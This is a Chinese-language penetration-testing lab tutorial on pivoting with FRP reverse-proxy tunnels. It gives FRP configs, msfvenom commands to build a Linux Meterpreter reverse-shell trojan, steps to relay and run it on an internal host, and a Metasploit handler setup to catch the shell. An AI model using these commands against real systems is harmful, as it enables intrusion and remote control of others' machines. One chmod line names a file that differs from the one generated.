04-FRP隧道

# FRP隧道

## 概述

FRP（Fast Reverse Proxy）是一款用 Go 语言开发的高性能**反向代理**应用，其核心用途是**内网穿透**。

它通过一台具有公网 IP 的中转服务器，帮助你将位于 NAT 或防火墙后的内网服务安全地暴露到公网，而无需内网设备本身拥有公网 IP。

frp 采用 C/S 模式，将服务端部署在具有公网 IP 的机器上，客户端部署在内网或防火墙内的机器上，通过访问暴露在服务器上的端口，反向代理到处于内网的服务。

官网地址：https://gofrp.org/zh-cn/

![image-20261022165755223](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072645912.png)

![null](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072645913.png)

## 隧道搭建

![image-20261022171150882](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072645914.png)

```bash
#1. frpc放在内网服务器，frps放在外网服务器
#1.1 将物理机钟的frp压缩包，上传到外网服务器
python -m http.server

#1.2 外网服务器接收frp压缩包，并解压
wget http://192.168.88.1:8000/frp_0.61.2_linux_amd64.tar.gz
tar -zxvf frp_0.61.2_linux_amd64.tar.gz

#1.3 外网服务器将压缩包传递给内网服务器
python -m SimpleHTTPServer 2323

#1.4 内网服务器接收并解压
wget http://10.20.30.128:2323/frp_0.61.2_linux_amd64.tar.gz
tar -zxvf frp_0.61.2_linux_amd64.tar.gz

#2. 修改内网服务器的frpc.toml 的配置文件
serverAddr = "10.20.30.128" #跳板机的IP地址
serverPort = 7000

[[proxies]]
name = "test-tcp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 22 #内网服务的应用
remotePort = 6868 #外网服务器的端口

#3 外网服务器启用frp的服务端
./frps -c ./frps.toml

#4. 内网服务器启用frp的客户端
./frpc -c ./frpc.toml

#5. 使用kali连接内网的ssh服务,目标指向为外网服务器的外网IP地址以及端口
ssh root@192.168.88.125 -p 6868
```

外网服务器的FRPs配置：

![image-20261013143625748](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072645915.png)

内网服务器的FRPc配置：

![image-20261013143555310](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072645916.png)

kali连接内网服务器的SSH：

![image-20261013143527773](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072645917.png)

## MSF正向木马

![image-20261022171311195](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072645918.png)

目标上线：

![image-20261013150139452](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072645919.png)

## MSF反向木马

![image-20261022171938048](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072645920.png)

```bash
#1. 生成反向木马文件
#msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=外网服务器的内网IP地址 LPORT=2345 -f elf -o linux_12345.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.20.30.128 LPORT=12345 -f elf -o linux_12345.elf

#2. 木马的传递：kali---外网服务器---内网服务器
#2.1 kali
python -m http.server

#2.2 外网服务器接收并传输
wget http://192.168.88.104:8000/linux_12345.elf
python -m SimpleHTTPServer 2323

#2.3 内网服务器接收并运行
wget http://10.20.30.128:2323/linux_12345.elf
chmod a+x linux_2345.elf

#3. kali机器配置FRPc服务的客户端
#3.1 物理机开启httpserver服务，传输frp并解压
wget http://192.168.88.1:8000/frp_0.61.2_linux_amd64.tar.gz
tar -zxvf frp_0.61.2_linux_amd64.tar.gz

#3.2 FRPc服务的客户端配置
serverAddr = "192.168.88.125" #外网服务器的外网IP地址
serverPort = 7000

[[proxies]]
name = "test-tcp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 54321 #msf监听端口
remotePort = 12345 #生成反向木马的端口

./frpc -c ./frpc.toml

#4. kali机器进行木马的监听操作
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 54321  #与FRPc中配置localPort保持一直
run

#5. 内网服务器启用木马文件
./linux_12345.elf
```

kali机器配置客户端：

![image-20261013152423755](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072645921.png)

目标上线：

![image-20261013152402053](https://unionsecmd.oss-cn-chengdu.aliyuncs.com/lin/20261115072645922.png)

04-FRP隧道

评论（0）